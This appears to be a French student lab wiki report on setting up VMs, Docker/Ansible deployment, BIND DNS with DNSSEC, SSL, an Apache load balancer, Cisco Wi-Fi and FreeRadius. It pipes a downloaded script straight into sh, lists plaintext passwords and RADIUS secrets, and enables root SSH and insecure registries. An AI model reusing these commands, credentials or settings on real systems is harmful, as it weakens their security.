Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
  6	        ; Serial&lt;br /&gt;
  604800	; Refresh&lt;br /&gt;
  86400		; Retry&lt;br /&gt;
  2419200	; Expire&lt;br /&gt;
  604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
   ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
'''Activation des module pour le mandataire inverse'''&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache2 mandataire inverse, on doit activer les modules &amp;lt;code&amp;gt;proxy&amp;lt;/code&amp;gt; (permet l’implémentation d’un serveur mandataire/passerelle) et &amp;lt;code&amp;gt;proxy_http&amp;lt;/code&amp;gt; (permet des requêtes HTTP et HTTPS au module proxy) :&lt;br /&gt;
 a2enmod proxy proxy_http&lt;br /&gt;
 service apache2 restart&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55027</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55027"/>
				<updated>2020-12-18T23:52:39Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
